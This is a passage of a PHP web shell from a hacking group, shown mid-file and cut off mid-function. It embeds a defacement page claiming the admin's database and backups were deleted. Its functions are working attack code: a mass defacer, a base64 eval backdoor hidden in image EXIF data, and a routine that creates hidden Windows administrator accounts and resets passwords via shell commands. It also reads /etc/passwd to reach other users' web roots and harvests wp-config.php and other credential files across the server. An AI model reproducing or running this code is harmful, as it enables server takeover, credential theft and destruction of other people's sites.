2648 -ms-animation-delay: 84s;
2649 animation-delay: 84s;
2650}
2651.cb-slideshow li:nth-child(16) span {
2652 background-image: url(http://img14.deviantart.net/8a8f/i/2014/286/6/b/black_hat__by_d4rk_n__by_d4rknik0l4s-d82s0js.jpg);
2653 -webkit-animation-delay: 90s;
2654 -moz-animation-delay: 90s;
2655 -o-animation-delay: 90s;
2656 -ms-animation-delay: 90s;
2657 animation-delay: 90s;
2658}
2659
2660
2661.cb-slideshow li:nth-child(2) div {
2662 -webkit-animation-delay: 6s;
2663 -moz-animation-delay: 6s;
2664 -o-animation-delay: 6s;
2665 -ms-animation-delay: 6s;
2666 animation-delay: 6s;
2667}
2668.cb-slideshow li:nth-child(3) div {
2669 -webkit-animation-delay: 12s;
2670 -moz-animation-delay: 12s;
2671 -o-animation-delay: 12s;
2672 -ms-animation-delay: 12s;
2673 animation-delay: 12s;
2674}
2675.cb-slideshow li:nth-child(4) div {
2676 -webkit-animation-delay: 18s;
2677 -moz-animation-delay: 18s;
2678 -o-animation-delay: 18s;
2679 -ms-animation-delay: 18s;
2680 animation-delay: 18s;
2681}
2682.cb-slideshow li:nth-child(5) div {
2683 -webkit-animation-delay: 24s;
2684 -moz-animation-delay: 24s;
2685 -o-animation-delay: 24s;
2686 -ms-animation-delay: 24s;
2687 animation-delay: 24s;
2688}
2689.cb-slideshow li:nth-child(6) div {
2690 -webkit-animation-delay: 30s;
2691 -moz-animation-delay: 30s;
2692 -o-animation-delay: 30s;
2693 -ms-animation-delay: 30s;
2694 animation-delay: 30s;
2695}
2696@-webkit-keyframes imageAnimation {
2697 0% {
2698 opacity: 0;
2699 -webkit-animation-timing-function: ease-in;
2700 }
2701 8% {
2702 opacity: 1;
2703 -webkit-transform: scale(1.05);
2704 -webkit-animation-timing-function: ease-out;
2705 }
2706 17% {
2707 opacity: 1;
2708 -webkit-transform: scale(1.1) rotate(3deg);
2709 }
2710 25% {
2711 opacity: 0;
2712 -webkit-transform: scale(1.1) rotate(3deg);
2713 }
2714 100% { opacity: 0 }
2715}
2716@-moz-keyframes imageAnimation {
2717 0% {
2718 opacity: 0;
2719 -moz-animation-timing-function: ease-in;
2720 }
2721 8% {
2722 opacity: 1;
2723 -moz-transform: scale(1.05);
2724 -moz-animation-timing-function: ease-out;
2725 }
2726 17% {
2727 opacity: 1;
2728 -moz-transform: scale(1.1) rotate(3deg);
2729 }
2730 25% {
2731 opacity: 0;
2732 -moz-transform: scale(1.1) rotate(3deg);
2733 }
2734 100% { opacity: 0 }
2735}
2736@-o-keyframes imageAnimation {
2737 0% {
2738 opacity: 0;
2739 -o-animation-timing-function: ease-in;
2740 }
2741 8% {
2742 opacity: 1;
2743 -o-transform: scale(1.05);
2744 -o-animation-timing-function: ease-out;
2745 }
2746 17% {
2747 opacity: 1;
2748 -o-transform: scale(1.1) rotate(3deg);
2749 }
2750 25% {
2751 opacity: 0;
2752 -o-transform: scale(1.1) rotate(3deg);
2753 }
2754 100% { opacity: 0 }
2755}
2756@-ms-keyframes imageAnimation {
2757 0% {
2758 opacity: 0;
2759 -ms-animation-timing-function: ease-in;
2760 }
2761 8% {
2762 opacity: 1;
2763 -ms-transform: scale(1.05);
2764 -ms-animation-timing-function: ease-out;
2765 }
2766 17% {
2767 opacity: 1;
2768 -ms-transform: scale(1.1) rotate(3deg);
2769 }
2770 25% {
2771 opacity: 0;
2772 -ms-transform: scale(1.1) rotate(3deg);
2773 }
2774 100% { opacity: 0 }
2775}
2776@keyframes imageAnimation {
2777 0% {
2778 opacity: 0;
2779 animation-timing-function: ease-in;
2780 }
2781 8% {
2782 opacity: 1;
2783 transform: scale(1.05);
2784 animation-timing-function: ease-out;
2785 }
2786 17% {
2787 opacity: 1;
2788 transform: scale(1.1) rotate(3deg);
2789 }
2790 25% {
2791 opacity: 0;
2792 transform: scale(1.1) rotate(3deg);
2793 }
2794 100% { opacity: 0 }
2795}
2796@-webkit-keyframes titleAnimation {
2797 0% {
2798 opacity: 0;
2799 -webkit-transform: translateX(200px);
2800 }
2801 8% {
2802 opacity: 1;
2803 -webkit-transform: translateX(0px);
2804 }
2805 17% {
2806 opacity: 1;
2807 -webkit-transform: translateX(0px);
2808 }
2809 19% {
2810 opacity: 0;
2811 -webkit-transform: translateX(-400px);
2812 }
2813 25% { opacity: 0 }
2814 100% { opacity: 0 }
2815}
2816@-moz-keyframes titleAnimation {
2817 0% {
2818 opacity: 0;
2819 -moz-transform: translateX(200px);
2820 }
2821 8% {
2822 opacity: 1;
2823 -moz-transform: translateX(0px);
2824 }
2825 17% {
2826 opacity: 1;
2827 -moz-transform: translateX(0px);
2828 }
2829 19% {
2830 opacity: 0;
2831 -moz-transform: translateX(-400px);
2832 }
2833 25% { opacity: 0 }
2834 100% { opacity: 0 }
2835}
2836@-o-keyframes titleAnimation {
2837 0% {
2838 opacity: 0;
2839 -o-transform: translateX(200px);
2840 }
2841 8% {
2842 opacity: 1;
2843 -o-transform: translateX(0px);
2844 }
2845 17% {
2846 opacity: 1;
2847 -o-transform: translateX(0px);
2848 }
2849 19% {
2850 opacity: 0;
2851 -o-transform: translateX(-400px);
2852 }
2853 25% { opacity: 0 }
2854 100% { opacity: 0 }
2855}
2856@-ms-keyframes titleAnimation {
2857 0% {
2858 opacity: 0;
2859 -ms-transform: translateX(200px);
2860 }
2861 8% {
2862 opacity: 1;
2863 -ms-transform: translateX(0px);
2864 }
2865 17% {
2866 opacity: 1;
2867 -ms-transform: translateX(0px);
2868 }
2869 19% {
2870 opacity: 0;
2871 -ms-transform: translateX(-400px);
2872 }
2873 25% { opacity: 0 }
2874 100% { opacity: 0 }
2875}
2876@keyframes titleAnimation {
2877 0% {
2878 opacity: 0;
2879 transform: translateX(200px);
2880 }
2881 8% {
2882 opacity: 1;
2883 transform: translateX(0px);
2884 }
2885 17% {
2886 opacity: 1;
2887 transform: translateX(0px);
2888 }
2889 19% {
2890 opacity: 0;
2891 transform: translateX(-400px);
2892 }
2893 25% { opacity: 0 }
2894 100% { opacity: 0 }
2895}
2896/* Show at least something when animations not supported */
2897.no-cssanimations .cb-slideshow li span{
2898 opacity: 1;
2899}
2900@media screen and (max-width: 1140px) {
2901 .cb-slideshow li div h3 { font-size: 100px }
2902}
2903@media screen and (max-width: 600px) {
2904 .cb-slideshow li div h3 { font-size: 50px }
2905}
2906</style>
2907
2908
2909 <script type="text/javascript" src="googledrive.com/host/0B0FAryoVedK0Szk4WW9GR3ZKWDg/modernizr.custom.86080.js"></script>
2910 </head>
2911 <body id="page">
2912 <ul class="cb-slideshow">
2913 <li><span>Image 01</span><div><h3></h3></div></li>
2914 <li><span>Image 02</span><div><h3></h3></div></li>
2915 <li><span>Image 03</span><div><h3></h3></div></li>
2916 <li><span>Image 04</span><div><h3></h3></div></li>
2917 <li><span>Image 05</span><div><h3></h3></div></li>
2918 <li><span>Image 06</span><div><h3></h3></div></li>
2919<li><span>Image 07</span><div><h3></h3></div></li>
2920<li><span>Image 08</span><div><h3></h3></div></li>
2921<li><span>Image 09</span><div><h3></h3></div></li>
2922<li><span>Image 10</span><div><h3></h3></div></li>
2923<li><span>Image 11</span><div><h3></h3></div></li>
2924<li><span>Image 12</span><div><h3></h3></div></li>
2925<li><span>Image 13</span><div><h3></h3></div></li>
2926<li><span>Image 14</span><div><h3></h3></div></li>
2927<li><span>Image 15</span><div><h3></h3></div></li>
2928<li><span>Image 16</span><div><h3></h3></div></li>
2929 </ul>
2930 <div class="container">
2931 <!-- Codrops top bar -->
2932 <div class="codrops-top">
2933
2934 </a>
2935 <span class="right">
2936
2937 </a>
2938 </span>
2939 <div class="clr"></div>
2940 </div><!--/ Codrops top bar -->
2941 <header>
2942
2943
2944 <p >
2945<html>
2946 <head>
2947 <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
2948
2949
2950 <meta name="Keywords" content="Hacked By Th3 D347H 4RMY">
2951 <link rel="shortcut icon" href="https://scontent-sin6-1.xx.fbcdn.net/v/t1.0-9/14713554_1442375012444261_4966565398524384714_n.jpg?oh=3bf0fd190aa5feeff7b085be9bb5435d&oe=58A0F88A" type="image/x-icon" />
2952 <script language="JavaScript1.2">
2953 function ejs_nodroit()
2954 {
2955 return(false);
2956 }
2957
2958 document.oncontextmenu = ejs_nodroit;
2959 </script>
2960
2961
2962
2963
2964
2965
2966
2967 <SCRIPT type=text/javascript> function tb8_makeArray(n){ this.length = n; return this.length; } tb8_messages = new tb8_makeArray(3); tb8_messages[0] = "0wn3d by N1gh7m4r3"; tb8_messages[1] = "We are Th3 D347H 4RMY"; tb8_messages[2] = "Operation Pakistan"; tb8_rptType = 'infinite'; tb8_rptNbr = 5; tb8_speed = 100; tb8_delay = 2000; var tb8_counter=1; var tb8_currMsg=0; var tb8_tekst =""; var tb8_i=0; var tb8_TID = null; function tb8_pisi(){ tb8_tekst = tb8_tekst + tb8_messages[tb8_currMsg].substring(tb8_i, tb8_i+1); document.title = tb8_tekst; tb8_sp=tb8_speed; tb8_i++; if (tb8_i==tb8_messages[tb8_currMsg].length){ tb8_currMsg++; tb8_i=0; tb8_tekst="";tb8_sp=tb8_delay; } if (tb8_currMsg == tb8_messages.length){ if ((tb8_rptType == 'finite') && (tb8_counter==tb8_rptNbr)){ clearTimeout(tb8_TID); return; } tb8_counter++; tb8_currMsg = 0; } tb8_TID = setTimeout("tb8_pisi()", tb8_sp); } tb8_pisi() </SCRIPT>
2968 <title>Hacked by N1gh7m4r3</title>
2969 <link href='http://fonts.googleapis.com/css?family=Black+Ops+One' rel='stylesheet' type='text/css'>
2970 <link href='https://fonts.googleapis.com/css?family=Ubuntu+Condensed' rel='stylesheet' type='text/css'>
2971 <link href='http://fonts.googleapis.com/css?family=Orbitron' rel='stylesheet' type='text/css'>
2972
2973 <link href='https://fonts.googleapis.com/css?family=Covered+By+Your+Grace' rel='stylesheet' type='text/css'>
2974 <link href='https://fonts.googleapis.com/css?family=Abel' rel='stylesheet' type='text/css'>
2975
2976
2977
2978 <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
2979
2980 <!-- for Facebook -->
2981 <meta property="og:title" content="N1gh7m4r3 | Th3 D347H 4RMY" />
2982
2983
2984 <style type="text/css">
2985 /* Circle Text Styles */
2986 #outerCircleText {
2987 /* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */
2988 font-style: italic;
2989 font-weight: bold;
2990 font-family: 'comic sans ms', verdana, arial;
2991 color: #FFF;
2992 /* End Optional */
2993
2994 /* Start Required - Do Not Edit */
2995 position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}
2996 #outerCircleText div {position: relative;}
2997 #outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
2998 /* End Required */
2999 /* End Circle Text Styles */
3000 </style>
3001
3002
3003
3004
3005 </head>
3006 <body>
3007 <iframe width="0" height="0" src="https://www.youtube.com/embed/hWaNoK3gN6M?autoplay=1" frameborder="0" allowfullscreen></iframe>
3008 <center>
3009 <p>
3010 <h2 style="font-family: Black Ops One" style="font-size:25pt;">✗PWN3D BY
3011 <span class="glow" style="font-size:25pt; " >N1GH7M4R3</span>✗
3012 </h2>
3013 <span class="glow" style="font-size: 30pt; font-family: Black Ops One;">
3014 We Are Th3 D347H 4RMY</span>
3015 <br><font style="color:red;text-shadow:#ff0000 0px 0px 3px">FEEL THE POWER OF D34Ds</br></font> <br>
3016 <center><img src="https://s10.postimg.org/guf90ldix/new.png" height="300" width="400">
3017
3018
3019 <br>
3020 <span class="blueglow" style="font-size: 20pt; font-family: Black Ops One;"><br/>::: Operation Pakistan :::</span>
3021 <br>
3022 <font face="Abel">
3023 <br>
3024 <font style="color:2afc04;text-shadow:#f86fad 0px 0px 3px; font-size: 14pt; ">
3025 <b>Mr. N1gh7m4r3 was Here, Your data belong to Th3 D34Ds
3026 <br>
3027 <b>The world! Fear us! Nothing personl! No privacy! No Security! We Break Everything!
3028 <br>
3029 <b>Mr Admin, Your database Deleted + Backups
3030 <br>
3031 <b>::: We are Th3 D347H 4RMY A.K.A Th3 D34Ds :::
3032 </font>
3033 <p><font style="color:white;text-shadow:#47f727 0px 0px 3px; font-size: 14pt; font-family: Covered By Your Grace; "><strong><b> -::: Don't Mess With Us!! :::-</font>
3034 <p><b><font color="#FFFFFF" face="Covered By Your Grace" size="8" ><strong><b></font></p>
3035
3036 <font style="color:#50dacc;text-shadow:#fe1e03 0px 0px 3px; font-size: 18pt; font-family: Black Ops One; "><a href="https://www.facebook.com/Th3D347h4RmY/" target="_blank" >
3037
3038 CONTACT US</a></font>
3039 <br>
3040 <br>
3041
3042
3043 <br>
3044
3045 <br /><font style="color:#fea246;text-shadow:#f8fc03 0px 0px 3px; font-size: 14pt; font-family: Covered By Your Grace; "><b>WE ARE COMING, FROM THE WEST AND EAST, FROM THE NORTH AND SOUTH | EVERYONE, EVERYTHING, ANY PLACE, WILL EXPECT US!</b></font><br />
3046 <script language="JavaScript1.2"> var msg="LEL" var neonbasecolor="white" var neontextcolor="grey" var neontextcolor2="#F59700" var flashspeed=100 // speed of flashing in milliseconds var flashingletters=3 // number of letters flashing in neontextcolor var flashingletters2=1 // number of letters flashing in neontextcolor2 (0 to disable) var flashpause=0 // the pause between flash-cycles in milliseconds ///No need to edit below this line///// var n=0 if (document.all||document.getElementById){ document.write('<font color="'+neonbasecolor+'">') for (m=0;m<msg.length;m++) document.write('<span id="neonlight'+m+'">'+msg.charAt(m)+'</span>') document.write('</font>') } else document.write(msg) function crossref(number){ var crossobj=document.all? eval("document.all.neonlight"+number) : document.getElementById("neonlight"+number) return crossobj } function neon(){ //Change all letters to base color if (n==0){ for (m=0;m<msg.length;m++) crossref(m).style.color=neonbasecolor } //cycle through and change individual letters to neon color crossref(n).style.color=neontextcolor if (n>flashingletters-1) crossref(n-flashingletters).style.color=neontextcolor2 if (n>(flashingletters+flashingletters2)-1) crossref(n-flashingletters-flashingletters2).style.color=neonbasecolor if (n<msg.length-1) n++ else{ n=0 clearInterval(flashing) setTimeout("beginneon()",flashpause) return } } function beginneon(){ if (document.all||document.getElementById) flashing=setInterval("neon()",flashspeed) } beginneon() </script>
3047 </p>
3048 <hr />
3049 <div id="greets">
3050 <span class="blueglow"><strong><font style="color:#fc7003;text-shadow:#fc0303 0px 0px 3px; font-size: 14pt; font-family: Covered By Your Grace; ">We are:-</span></strong> <br /> <marquee width=820 scrollAmount=4 scrollDelay=50> <font style="color:#fc7003;text-shadow:#fc0303 0px 0px 3px; font-size: 14pt; font-family: Covered By Your Grace; ">D3m0n N1gh7m4r3 | Cyberl33t | X0MH17 | D4rk N!nj4 | Albanian F34r | P4R4D0X | G48B3R | AN0N.PH30N1X </span> </marquee> </div></font>
3051 <hr /> <div id="footer"><br /><b><font style="color:#fc7003;text-shadow:#fc0303 0px 0px 3px; font-size: 14pt;"> © Th3 D347H 4RMY</div></font> </center>
3052 </body> </html>
3053
3054<!--------------------------codes ended f*ck_off Bitch --------------------->
3055 ">
3056<br><input type=submit value="SUBMIT"></p></form>
3057
3058<?php
3059 if ($_POST['a'] == 'Deface') {
3060 $mainpath = $_POST[p1];
3061 $file = $_POST[p2];
3062 $txtContents = $_POST[p3];
3063 echo "-----------------------------------------------<br>
3064[+]Mass defacer<br>
3065-----------------------------------------------<br><br> ";
3066 $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
3067 while ($row = readdir($dir)) {
3068 $start = @fopen("$row/$file", "w+");
3069 $code = $txtContents;
3070 $finish = @fwrite($start, $code);
3071 if ($finish) {
3072 echo "http://$row/$file<br>";
3073 }
3074 }
3075 echo "-----------------------------------------------<br><br>[+] Script by N1gh7m4r3 [+]";
3076 }
3077 echo '</div>';
3078 printFooter();
3079 }
3080
3081
3082 function actionDefacer() {
3083 printHeader();
3084 echo "<h1>Recursive Mass Defacer out </h1><div class=content>";
3085
3086 printFooter();
3087 }
3088
3089
3090
3091
3092
3093
3094
3095function actionrdp() {
3096 printHeader();
3097
3098error_reporting(0);
3099$local_host= shell_exec(hostname);
3100$server_ip = $_SERVER['SERVER_NAME'];
3101$gaya_root = "$local_host:~ ";
3102$phpv = @phpversion();
3103$o = "<br>";
3104
3105$BASED = exif_read_data(" image here ");
3106eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
3107if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
3108 $status_os = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Windows</span>/<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Linux</span>';
3109 $status_work = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Can Be Used</span><br>';
3110} else {
3111 $status_os = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Windows</span>/<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Linux</span>';
3112 $status_work = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Can't Be Used</span><br>';
3113}
3114?><!DOCTYPE html>
3115<html>
3116<head>
3117 <title>LulzSec India</title>
3118 <link rel='shortcut icon' type='image/x-icon' href='' />
3119 <meta name="description" content="LulzSec India">
3120 <meta name="viewport" content="width=device-width, initial-scale=1">
3121 <style type="text/css">
3122 body { height: 100%; width: 100%; margin: 0; padding: 0; background-image: url(" "); background-color: #000000; background-size: 100%; background-position: center; background-repeat: no-repeat; color: gray; font-family: "Orbitron"; font-size: 14pt; text-align: center; text-decoration: none; } #greets { width: 820px; border-style: outset; } #footer { font-size: 9pt; opacity: .7; } .glow { text-shadow: 0 0 10px #F59700; font-family: "Black Ops One"; } .blueglow { text-shadow: 0 0 10px #0F6FBD; font-family: "Black Ops One" } .whiteglow { text-shadow: 0 0 10px #FFFFFF; font-family: "Black Ops One"; } </style>
3123
3124 <style type="text/css">
3125 /* Circle Text Styles */
3126 #outerCircleText {
3127 /* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */
3128 font-style: italic;
3129 font-weight: bold;
3130 font-family: "comic sans ms", verdana, arial;
3131 color: #FFF;
3132 /* End Optional */
3133
3134 /* Start Required - Do Not Edit */
3135 position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}
3136 #outerCircleText div {position: relative;}
3137 #outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
3138 /* End Required */
3139 /* End Circle Text Styles */
3140 </style>
3141</head>
3142<body>
3143<div id="content-center">
3144<pre>
3145
3146
3147
3148 Mr. Po Panda | <span style="color:White;font-family:Iceland;text-shadow:red 0px 0px 10px" "font-size:="" 40pt;"="">Lulz</span><span style="color:White;font-family:Iceland;text-shadow:green 0px 0px 10px" "font-size:="" 40pt;"="">Sec</span><span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">India</span>
3149 OS Server : <?php echo php_uname("s")." | "; echo "{".$status_os."}<br>";?>
3150 Informasi : <?php echo "Server IP - ".$server_ip." {".$_SERVER['REMOTE_ADDR']."}";?>
3151 Info Tool : <?php echo $status_work;?>
3152
3153
3154 </pre>
3155</div>
3156<?php if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'){?>
3157<marquee bgcolor="black" width="30%"><span style="font-size: 25px;"><b>
3158<span style="color:White;font-family:Iceland;text-shadow:orange 0px 0px 5px" "font-size:="" 20pt;"="">Powered by</span><span style="color:White;font-family:Iceland;text-shadow:white 0px 0px 5px" "font-size:="" 20pt;"=""> LulzSec </span> <span style="color:White;font-family:Iceland;text-shadow:green 0px 0px 5px" "font-size:="" 20pt;"=""> India</span></marquee>
3159
3160<div id="content-left">
3161<p>Create Remote Desktop Protocol </p>
3162<form action="" method="post">Username : <input type="text" name="username" required>
3163 Password : <input type="text" name="password" required> <input type="hidden" name="kshell" value="1"><input type="submit" name="submit" value="Make">
3164</form>
3165</div>
3166
3167
3168<div id="content-left">
3169<p> Option </p>
3170<form action="" method="post">command : <input type="text" name="username" placeholder="Input Username"> <select name="aksi">
3171 <option value="1">Show Username</option>
3172 <option value="2">Clear Username</option>
3173 <option value="3">Change Password</option>
3174 </select>
3175<input type="hidden" name="kshell" value="2">
3176<input type="submit" name="submit" value=">>"></form>
3177</div>
3178<?php }
3179?>
3180<?php
3181if($_POST['submit']){
3182echo "<p>---------------{ INFO }---------------</p>";
3183if($_POST['kshell']=="1"){
3184 $r_user = $_POST['username'];
3185 $r_pass = $_POST['password'];
3186 $cmd_cek_user = shell_exec("net user");
3187 if(preg_match("/$r_user/", $cmd_cek_user)){
3188 echo $gaya_root.$r_user." already There".$o;
3189 }else {
3190 $cmd_add_user = shell_exec("net user ".$r_user." ".$r_pass." /add");
3191 $cmd_add_groups1 = shell_exec("net localgroup Administrators ".$r_user." /add");
3192 $cmd_add_groups2 = shell_exec("net localgroup Administrator ".$r_user." /add");
3193 $cmd_add_groups3 = shell_exec("net localgroup Administrateur ".$r_user." /add");
3194
3195 if($cmd_add_user){
3196 echo $gaya_root."[add user]-> ".$r_user." <font color='greenyellow'>Successfully</font>".$o;
3197 }else {
3198 echo $gaya_root."[add user]-> ".$r_user." <font color='red'>Faild</font>".$o;
3199 }
3200 if($cmd_add_groups1){
3201 echo $gaya_root."[add localgroup Administrators]-> ".$r_user." <font color='greenyellow'>Succeed</font>".$o;
3202 }else
3203 if($cmd_add_groups2){
3204 echo $gaya_root."[add localgroup Administrator]-> ".$r_user." <font color='greenyellow'>Succeed</font>".$o;
3205 }else
3206 if($cmd_add_groups3){
3207 echo $gaya_root."[add localgroup Administrateur]-> ".$r_user." <font color='greenyellow'>Succeed</font>".$o;
3208 }else {
3209 echo $gaya_root."[add localgroup]-> ".$r_user." <font color='red'>Faild - Contact LulzSec india</font>".$o;
3210 }
3211 echo $gaya_root."[INFO PC]-> RDP IP ".$_SERVER["HTTP_HOST"]." Username : ".$r_user." Password : ".$r_pass." <font color='greenyellow'>Succeed</font>".$o;
3212
3213 }
3214
3215
3216
3217}else if($_POST['kshell']=="2"){
3218
3219if($_POST['aksi']=="1"){
3220 echo "<pre>".shell_exec("net user");
3221}
3222else if($_POST['aksi']=="2"){
3223$username = $_POST['username'];
3224$cmd_cek_user = shell_exec("net user");
3225 if (!empty($username)){
3226 if(preg_match("/$username/", $cmd_cek_user)){
3227 $cmd_add_user = shell_exec("net user ".$username." /DELETE");
3228 if($cmd_add_user){
3229 echo $gaya_root."[remove user]-> ".$username." <font color='greenyellow'>Succeed</font>".$o;
3230 }else {
3231 echo $gaya_root."[remove user]-> ".$username." <font color='red'>Faild</font>".$o;
3232 }
3233 }else {
3234 echo $gaya_root."[remove user]-> ".$username." <font color='red'>Not Found</font>".$o;
3235 }
3236 }else {
3237 echo $gaya_root."[Message]=> <font color='red'>You Frogot to Enter a username that will delete</font>".$o;
3238 }
3239}
3240else if($_POST['aksi']=="3"){
3241$username = $_POST['username'];
3242$password = "india";
3243$cmd_cek_user = shell_exec("net user");
3244 if (!empty($username)){
3245 if(preg_match("/$username/", $cmd_cek_user)){
3246 $cmd_add_user = shell_exec("net user ".$username." india123");
3247 if($cmd_add_user){
3248 echo $gaya_root."[change password]-> (".$username."|".$password.") <font color='greenyellow'>Succeed</font>".$o;
3249 }else {
3250 echo $gaya_root."[change password]-> (".$username."|".$password.") <font color='red'>Faild</font>".$o;
3251 }
3252 }else
3253{
3254 echo $gaya_root."[Message]-> <font color='red'>Username is not found in server</font>".$o;
3255}
3256}else
3257{
3258 echo $gaya_root."[Message]-> <font color='red'>You Frogot to Enter a username that will delete</font>".$o;
3259}
3260}
3261}
3262}
3263echo"</pre>
3264</body>
3265</html>";
3266
3267printFooter();
3268}
3269
3270 function actionJumping()
3271{ printHeader();
3272echo '<html><head><title>'.getenv("HTTP_HOST").' - Jumping Server</title></head><body>';
3273($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>');
3274set_time_limit(0);@$passwd = fopen('/etc/passwd','r');if (!$passwd) { die('<font size="4" color="#e5e5e5" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>'); }
3275$pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,':'); $username = substr($str,0,$pos); $dirz = '/home/'.$username.'/public_html/'; if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username); array_push($pub,$dirz); }}}$i++;}
3276echo '<font color=red> [-]==================[ Done Jumping ]==================[-]<br></font>';
3277foreach ($users as $user){echo "<font color=#a3e956> [+] /home/$user/public_html/</font><br/>";} echo "\n <font color=red><br>[-]==================[ Ended Now Get lost ]==================[-] <br></font>\n"; echo '</body></html>';
3278printFooter();
3279}
3280function actionSubdomain() {
3281 printHeader();
3282 error_reporting(0);
3283$user = get_current_user();
3284$open = opendir('/home/' . $user . '/access-logs/');
3285while ($dir = readdir($open)) {
3286 $totalDoamin[] = $dir;
3287}
3288closedir($open);
3289$total = count($totalDoamin);
3290$domain = $total - 2;
3291if ($domain > 0) {
3292 echo "<h2><b><font style=\"color: #a3e956 ;\" > Total </font><font style=\"color: #a3e956; \">" . $domain . "</font><font style=\"color: #a3e956;\" > Sub Domain Found! </font><br><BR>";
3293} else {
3294 echo "<h2><b> <font color='Blue' style=\"color: blue; text-shadow: red 0px 0px 4px ; \">0</font><font style=\"color: #black; text-shadow: black 0px 0px 6px ;\"> Sub Domain Found! </font><br><BR>";
3295}
3296$scan = array_diff(scandir('/home/' . $user . '/access-logs/'), array('.'));
3297$domains = implode("
3298http://", $scan);
3299echo '
3300<style>
3301body {
3302 text-align: center;
3303 }
3304 </style><textarea style="color: #a3e956; background-color: black" rows=\'30\' cols=\'100\'>';
3305print_r($domains);
3306echo '</textarea>';
3307 printFooter();
3308}
3309function actionConfigGrabber() {
3310 printHeader();
3311 error_reporting(0);
3312system('mkdir TDA');
3313 chmod('TDA', 0777);
3314$users = file("/etc/passwd");
3315 $lolx = array();
3316 foreach ($users as $user) {
3317 $users = explode(":", $user);
3318 $lolx[] = $users[0];
3319 }
3320 foreach ($lolx as $lol) {
3321 $space = "
3322
3323" . "*" . "
3324" . "*" . "
3325" . "*" . "
3326
3327";
3328 if (file_exists('/home/' . $lol . 'public_html/portal/configuration.php')) {
3329 $content = file_get_contents('/home/' . $lol . 'public_html/portal/configuration.php');
3330 $handle = fopen('TDA/whm.txt', 'a');
3331 fwrite($handle, $content . $space);
3332 fclose($handle);
3333 } elseif (file_exists('/home/' . $lol . '/public_html/inc/config.php')) {
3334 $content1 = file_get_contents('/home/' . $lol . '/public_html/inc/config.php');
3335 $handle = fopen('TDA/config.txt', 'a');
3336 fwrite($handle, $content . $space);
3337 fclose($handle);
3338 } elseif (file_exists('/home/' . $lol . '/public_html/sites/default/settings.php')) {
3339 $content2 = file_get_contents('/home/' . $lol . '/public_html/sites/default/settings.php');
3340 $handle = fopen('TDA/config.txt', 'a');
3341 fwrite($handle, $content2 . $space);
3342 fclose($handle);
3343 } elseif (file_exists('/home/' . $lol . '/public_html/includes/configure.php')) {
3344 $content3 = file_get_contents('/home/' . $lol . '/public_html/includes/configure.php');
3345 $handle = fopen('TDA/config.txt', 'a');
3346 fwrite($handle, $content3 . $space);
3347 fclose($handle);
3348 } elseif (file_exists('/home/' . $lol . '/public_html/lib/config.php')) {
3349 $content4 = file_get_contents('/home/' . $lol . '/public_html/lib/config.php');
3350 $handle = fopen('TDA/config.txt', 'a');
3351 fwrite($handle, $content4 . $space);
3352 fclose($handle);
3353 } elseif (file_exists('/home/' . $lol . '/public_html/config/koneksi.php')) {
3354 $content5 = file_get_contents('/home/' . $lol . '/public_html/config/koneksi.php');
3355 $handle = fopen('TDA/config.txt', 'a');
3356 fwrite($handle, $content5 . $space);
3357 fclose($handle);
3358 } elseif (file_exists('/home/' . $lol . '/public_html/vb/includes/config.php')) {
3359 $content6 = file_get_contents('/home/' . $lol . '/public_html/vb/includes/config.php');
3360 $handle = fopen('TDA/config.txt', 'a');
3361 fwrite($handle, $content6 . $space);
3362 fclose($handle);
3363 } elseif (file_exists('/home/' . $lol . '/public_html/includes/config.php')) {
3364 $content7 = file_get_contents('/home/' . $lol . '/public_html/includes/config.php');
3365 $handle = fopen('TDA/config.txt', 'a');
3366 fwrite($handle, $content7 . $space);
3367 fclose($handle);
3368 } elseif (file_exists('/home/' . $lol . '/public_html/forum/includes/config.php')) {
3369 $content8 = file_get_contents('/home/' . $lol . '/public_html/forum/includes/config.php');
3370 $handle = fopen('TDA/config.txt', 'a');
3371 fwrite($handle, $content8 . $space);
3372 fclose($handle);
3373 } elseif (file_exists('/home/' . $lol . '/public_html/cc/includes/config.php')) {
3374 $content9 = file_get_contents('/home/' . $lol . '/public_html/cc/includes/config.php');
3375 $handle = fopen('TDA/config.txt', 'a');
3376 fwrite($handle, $content9 . $space);
3377 fclose($handle);
3378 } elseif (file_exists('/home/' . $lol . '/public_html/config.php')) {
3379 $content10 = file_get_contents('/home/' . $lol . '/public_html/config.php');
3380 $handle = fopen('TDA/config.txt', 'a');
3381 fwrite($handle, $content10 . $space);
3382 fclose($handle);
3383 } elseif (file_exists('/home/' . $lol . '/public_html/forum/includes/config.php')) {
3384 $content11 = file_get_contents('/home/' . $lol . '/public_html/forum/includes/config.php');
3385 $handle = fopen('TDA/config.txt', 'a');
3386 fwrite($handle, $content11 . $space);
3387 fclose($handle);
3388 } elseif (file_exists('/home/' . $lol . '/public_html/wp-config.php')) {
3389 $content12 = file_get_contents('/home/' . $lol . '/public_html/wp-config.php');
3390 $handle = fopen('TDA/config.txt', 'a');
